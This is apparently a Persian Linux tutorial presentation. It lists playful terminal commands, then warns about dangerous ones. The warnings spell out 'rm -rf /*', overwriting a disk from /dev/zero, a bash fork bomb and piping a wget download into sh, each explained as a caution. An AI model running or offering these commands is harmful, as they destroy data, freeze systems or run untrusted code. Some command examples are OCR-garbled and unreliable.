# دستورات جالب در لینوکس

ارائه دهنده: قوام الدين سليماني

دستور SI (لوكوموتيو بخار)

root@qavams:~# apt-get install sl (In Debian like OS)

کد:

root@qavams:~# sl

استور fortune

root@qavams:~# apt-get install fortune (for aptitude based system)

کد:

root@qavams:~# fortune

دستور rev مخفف Reverse

کد:

root@qavams:~# rev

دستور factor

کد:

root@qavams:~# factor

script

root@qavams:~# for i in  $\{1..12\}$ ; do for j in  $\{(seq 1 \ i); do echo -ne \ i\tilde{A} - j = \{((i*j)) \ echo; done$ 

۱×1=1

r×1=2 2×2=4

rÃ-1=3 3Ã-2=6 3Ã-3=9

f×1=4 4×2=8 4×3=12 4×4=16

۵×1=5 5×2=10 5×3=15 5×4=20 5×5=25

۶×1=6 6×2=12 6×3=18 6×4=24 6×5=30 6×6=36

Y×1=7 7×2=14 7×3=21 7×4=28 7×5=35 7×6=42 7×7=49

 $\text{\AA} - 1 = 8 \text{ \$} \tilde{\text{A}} - 2 = 16 \text{ \$} \tilde{\text{A}} - 3 = 24 \text{ \$} \tilde{\text{A}} - 4 = 32 \text{ \$} \tilde{\text{A}} - 5 = 40 \text{ \$} \tilde{\text{A}} - 6 = 48 \text{ \$} \tilde{\text{A}} - 7 = 56 \text{ \$} \tilde{\text{A}} - 8 = 64$ 

4×1=9 9×2=18 9×3=27 9×4=36 9×5=45 9×6=54 9×7=63 9×8=72 9×9=81

\\\tilde{A}-1=11 11\tilde{A}-2=22 11\tilde{A}-3=33 11\tilde{A}-4=44 11\tilde{A}-5=55 11\tilde{A}-6=66 11\tilde{A}-7=77 11\tilde{A}-8=88 11\tilde{A}-9=99 11\tilde{A}-10=110 11\tilde{A}-11=121

 $)\cdot\tilde{A}-1=10\ 10\tilde{A}-2=20\ 10\tilde{A}-3=30\ 10\tilde{A}-4=40\ 10\tilde{A}-5=50\ 10\tilde{A}-6=60\ 10\tilde{A}-7=70\ 10\tilde{A}-8=80\ 10\tilde{A}-9=90\ 10\tilde{A}-10=100$ 

\rÃ-1=12 12Ã-2=24 12Ã-3=36 12Ã-4=48 12Ã-5=60 12Ã-6=72

دستور owsay

root@qavams:~# apt-get install cowsay (for Debian based OS)

```
کد:
```

کد:

root@qavams:~# cowsay Hello World چطوره دستور fortune توسط cowsay توصف شود؟ root@qavams:~# fortune | cowsay " xcowsay" یک برنامه گرافیکی است که عملکردی مشابه با cowsay اما به شیوه گرافیکی دارد. کد: apt-get install xcowsay کد: root@qavams:~# xcowsay Hello World root@qavams:~# yes Hello World نور cmatrix root@qavams:~# apt-get install cmatrix کد: root@qavams:~# cmatrix نور: oneko root@qavams:~# apt-get install oneko کد: root@qavams:~# oneko ستور while root@qavams:~# apt-get install toilet کد: root@qavams:~# while true; do echo "\$(date '+%D %T' | toilet -f term -F border --gay)"; sleep 1; done <u>or</u> root@gavams:~# while true; do clear; echo "\$(date '+%D %T' | toilet -f term -F border --gay)"; sleep 1; done تور aafire root@qavams:~# apt-get install libaa-bin

root@qavams:~# aafire

#### دستور url

استاتوس تویتر خود را از طریق خط فرمان آپدیت کنید کافی است به جای password ،username و your status message موارد مربوط به خود را وارد کنید.

کد:

root@qavams:~# url -u YourUsername:YourPassword -d status="Your status message" http://twitter.com/statuses/update.xml

#### **ASCIIquarium**

کد:

root@qavams:~# asciiquarium

# دستوراتی که هیچگاه نباید در لینوکس استفاده کنید

#### نکات مهمی که همیشه باید در نظر داشته باشد:

۱ .هرگز دستوری رو که نمی دونید چکار می کنه رو از جایی کپی و در ترمینال پیست نکنید.

۲ .حواستون به دستوراتی که برای اجرا به دسترسی ریشه (root) نیاز دارن باشه.

### برای اینکه ببینید دستوری چکار میکنه، چند راه وجود داره:

۱ .از کسی که بهش اعتماد دارید بپرسید که آیا این دستور مشکلی پیش نمیاره؟

۲ .معمولا همهی دستورات، یک راهنما دارند که با استفاده از کلمه man میتونید بهش دسترسی پیدا کنید و توضیحات مربوط به کارکرد دستور و کاری که سوئیچهای مختلفش انجام میدن رو مطالعه کنید. مثلا rm

rm-گاهی دستورات راهنما ندارند، در این صورت می تونید از سوئیچهای helpاستفاده کنید. مثلا help

## چند مثال

اینجا چند تا مثال براتون آوردم که هیچوقت نباید استفاده کنیدشون. این فیلمها روی ماشین مجازی گرفته شده تا نتیجه ی کار رو ببینید.

## ۱ .یکی از معروف ترین این دستورات

sudo rm -rf /\*

دستور rm برای پاک کردن فایل در گنو/لینوکس استفاده میشه.

وقتی این دستور با سوئیچ) r مخفف (recursive) همراه می شه، به صورت تو در تو عمل می کنه، یعنی اگر من یک فولدر دارم که درونش r فولدر دیگه وجود داره، اگر با این سوئیچ فولدر اول رو پاک کنم، فولدرهای درونی هم پاک بشن.

این دستور به یک دستور مخربه، یعنی فایل رو پاک می کنه، برای همین، برای جلوگیری از اینکه کاربر به اشتباه چیزی رو پاک کنه، دونه دونه از شما می پرسه که آیا مطمئنید که می خواید این فایل پاک بشه؟ اما اگر سوئیچ f مخفف (force) رو با این دستور همراه کنیم، دیگه به اجبار و بدون پرسش فایل ها رو پاک می کنه.

خب می بینید که \*/ به عنوان فولدر هدف به این دستور داده شده، / فولدر ریشه در سیستمهای شبهه یونیکس، از جمله گنو/لینوکس هست، و آدرس همه فایلها از اینجا شروع می شن... و این یعنی به دستور rm گفتیم از ریشه، همه چیز رو به صورت تو در تو پاک کنه و سوال هم نپرسه!

اما برای این کار ما باید مجوز ریشه (root) داشته باشیم، و کلمه sudo برای همین گذاشته شد. در نتیجه از ما رمزی خواسته می شه تا از هویت ما اطمینان حاصل بشه.

خب ما اینا رو می تونستیم از روی man یا help دستور rm متوجه بشیم.

-f, --force

ignore nonexistent files and arguments, never prompt

-r, -R, --recursive

remove directories and their contents recursively

۲ .هیچوقت هیچچیز رو به dev/sda/ کپی نکنید.

sudo cp /dev/zero /dev/sda

دستور cp برای کپی کردن فایل استفاده می شه و به نظر نمیاد مخرب باشه.

در سیستمهای شبهه یونیکسی همه چیز فایل در نظر گرفته میشه، مثلا یک فایل در سیستم وجود داره که کارت صدا رو نمایندگی می کنه، یک فایل که هارد دیسک رو، یک فایل که سیدی رام رو، و به همین ترتیب، حال اگر

چیزی رو به کل هارد کپی کنیم چی میشه؟ خب اطلاعات موجود در هارد از بین میرن، به همین سادگی

۳ .هنگام استفاده از دستور dd دقت کنید.

دستور dd برای کپی کردن از دیسکها استفاده می شه... یکی از کاربرداش مثلا اینه که یک فایل iso رو به یک فلش (که به صورت یک فایل در نظر گرفته می شه) کپی کرد و یک فلش بوت ایبل ساخت.

بنابراین dd هم مثل cp به خودی خود دستور مخربی نیست، اما اگر کاربر نداند که چکار می کند می تواند مخرب باشد.

اگر اشتباهی چیزی رو به هاردتون dd کنید، اتفاقات بدی خواهد افتاد

٤ .فورک بمب

:(){:|:&};:

ظاهر عجیبی داره :)) ولی خب سادست.

ما اینجا یه تابع داریم به اسم: که آرگومانی نمی گیره، و در بدنه ی خودش، خودش رو به صورت بازگشتی صدا میزنه و خروجی خودش رو به خودش pipe می کنه! نتیجه ی این عمل اینه که فراخوانی تابع به صورت تصاعدی زیاد می شه و هیچوقت تموم نمی شه، که این باعث میشه رم و cpu شما فقط در گیر این کد بشه! و در نهایت سیستم هنگ کنه، یا مشکلات سخت افزاری برای رم یا cpu پیش بیاد.

البته در سیستمهای جدید، و در توزیعهای به روز، از این مشکل جلوگیری میشه، و اینجا هم در ماشین مجازی ویژگی PAE/NX خاموش بود تا شما بتونید ببینید چه اتفاقی میافته. اما به هرحال خوبه که از این دستور و هر دستور دیگهای که نمیدونید چیه دوری کنید، حتی برای fun هم اجرا نکنید چیزی رو که نمیدونید چکار ممکنه کنه!

ه .دستوراتی که اسکریپتی رو از اینترنت دانلود و اجرا میکنند!

wget http://an-untrusted-url -0- | sh

این دستور یه script رو دانلود می کنه و مستقیما با sh اجراش می کنه! بدون اینکه شما چیزی رو ببینید! به صورت کلی، مواظب این دستورات باشید، هر چیزی رو در هر سایتی دیدید به ترمینال کپی نکنید و enter نزنید!

توصیهای که برای این دست از دستورات میشه اینه که url رو در مرورگر باز کنید و محتویات فایل رو ببینید. اگر مشکلی باهاش نداشتید اونوقت اجراش کنید!